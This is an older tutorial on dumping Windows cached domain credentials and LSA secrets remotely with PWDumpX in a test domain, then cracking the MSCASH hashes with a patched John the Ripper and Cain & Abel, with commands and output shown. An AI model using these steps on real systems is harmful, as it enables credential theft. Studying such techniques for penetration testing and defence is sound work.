Recovering Windows Password Cache Entries

This document is ment to be a revised version of a tutorial found on Securiteam.com (http://www.securiteam.com/tools/5JP0I2KFPA.html). This document is no longer up to date and the links in the document no longer work.

Windows domain users authenticate against a Domain Controller when they login. However, there are times when the Domain Controller is unavailable. To allow a user to authenticate Windows stores the password hash in the registry if they had previously logged on to the workstation or server. Windows stores by default the last ten users to authenticate on the workstation or server.
The first utility to be able to extract these stored hashes was cachedump. This utility is no longer available from the original site but can be found if you search http://www.packetstormsecurity.org.
A new utility, written by Read Arvin, has surfaced that includes the features of cachedump but allows it to be accomplished remotely.

Description found at http://reedarvin.thearvins.com

> Allows a user with administrative privileges to retrieve the domain password cache, the password hashes, the password history hashes and the LSA secrets from a Windows system. This tool can be used on the local system or on one or more remote systems.

Description from http://www.packetstormsecurity.org

> PWDumpX allows a user with administrative privileges to retrieve the domain password cache, password hashes and LSA secrets from a Windows system. This tool can be used on the local system or on one or more remote systems. If an input list of remote systems is supplied, PWDumpX will attempt to obtain the domain password cache, the password hashes and the LSA secrets from each remote Windows system in a multi-threaded fashion (up to 64 systems simultaneously). The domain password cache, password hashes and LSA secrets from remote Windows systems are encrypted as they are transfered over the network. No data is sent over the network in clear text. This tool is a completely re-written version of cachedump, PWDump3e and LSADump2 which integrates suggestions/bug fixes for PWDump3e and LSADump2 found on various web sites, etc.

Using PwdumpX to obtain password hashes. Note you must have a local administrator account on the server to obtain the hashes.

For the purposes of this documentation I have created a test domain with test users.

```
C:\tools\PWDumpX 1.4>pwdumpx
PWDumpX v1.4 | http://reedarvin.thearvins.com/

Usage: PWDumpX [-clph] <hostname | ip input file> <username> <password>

[-clph]                     -- optional argument
<hostname | ip input file>  -- required argument
<username>                  -- required argument
<password>                  -- required argument

-c  -- Dump Password Cache
-l  -- Dump LSA Secrets
-p  -- Dump Password Hashes
-h  -- Dump Password History Hashes

If the <username> and <password> arguments are both plus signs (+), the
existing credentials of the user running this utility will be used.

Examples:
```

```
PWDumpX 10.10.10.10 + +
PWDumpX 10.10.10.10 administrator password

PWDumpX -lp MyWindowsMachine + +
PWDumpX -lp MyWindowsMachine administrator password

PWDumpX -clph IPInputFile.txt + +
PWDumpX -clph IPInputFile.txt administrator password

(Written by Reed Arvin | reedarvin@gmail.com)

C:\tools\PWDumpX 1.4>pwdumpx -clph 192.168.186.129 administrator $3cr3tp@$$w0rd
Running PWDumpX v1.4 with the following arguments:
[+] Host Input:   "192.168.186.129"
[+] Username:     "itadmin"
[+] Password:     "$3cr3tp@$$w0rd"
[+] Arguments:    "-clph"
[+] # of Threads: "64"

Waiting for PWDumpX service to terminate on host 192.168.186.129.

Retrieved file 192.168.186.129-PWCache.txt
Retrieved file 192.168.186.129-LSASecrets.txt
Retrieved file 192.168.186.129-PWHashes.txt
Retrieved file 192.168.186.129-PWHistoryHashes.txt

C:\tools\PWDumpX 1.4>
```

For the purpose of this discussion we will be focusing on 192.168.186.129-PWCache.txt the contents of which are below.

```
amaynard:D2FA469C6F8B6C6A6AB0EF012674E10A:PR:PR.LOCAL
Administrator:A1879B482C07E0FD148B7996158242EB:PR:PR.LOCAL
ctripp:2F08AA22D65AC34AE7160AC7A3A1946A:PR:PR.LOCAL
bwyatt:B871D41A7401F0E404094AFC899D51C3:PR:PR.LOCAL
ssossei:C89181138FB89F896B21739B2EC9A14C:PR:PR.LOCAL
sevans:B1176C2587478785EC1037E5ABC916D0:PR:PR.LOCAL
```

Cracking these password hashes can be accomplished a couple of ways. The original article from Securiteam.com references a patch for Openwall's John the Ripper password cracker. This patch is no longer available from the links provided on the site and the patch is for an older version of John which may be difficult to obtain as well. All is not lost. I have an already patched version of John available on this site that you can compile, install, and use to crack MSCASH password hashes. Current versions of John do not support cracking MSCASH password hashes.

Download myjohn.tgz from http://www.jedge.com/utilities/myjohn.tgz
Unpack the Tarball and compile for you system. No need to install as you may already have a more updated version of John installed and we do not want to overwrite it. Just run the executable from the run folder. See below.

```
root@edge-linuxpen:~/downloads# tar zxf myjohn.tgz
root@edge-linuxpen:~/downloads# cd john/src
root@edge-linuxpen:~/downloads/john/src# make generic
root@edge-linuxpen:~/downloads/john/src# ../run/john --wordlist=/home/edge/mangled.lst --
format=mscash /media/EDGE/192.168.186.129-PWCache.txt
Loaded 6 password hashes with 6 different salts (M$ Cache Hash [Generic 1x])
Asdf999          (sevans)
guesses: 1  time: 0:00:00:46 100%  c/s: 4515K  trying: 8zyme - 8zzgl
```

The password list used is from Openwall's CD they offer from their site for under $30 (http://www.openwall.com/wordlists/).

Another way to crack the password hashes is to use Cain & Abel on Windows. Cain does not support importing of the PwdumpX hash file. The file will have to be manually changed to the format supported by Cain. The file that needs to be edited is the CACHE.LST file found in the root folder for the Cain application. Typically C:\Program Files\Cain

PwdumpX file format: user:hash:domain:domain
Cain CACHE.LST format: domain[tab]user[tab][tab]hash[tab]

When you open up Cain and go to the Cracker tab you will see the password hashes loaded under MS-Cache Hashes (screen). From there you can conduct a dictionary attack to crack the hashes (screen).

Good luck cracking!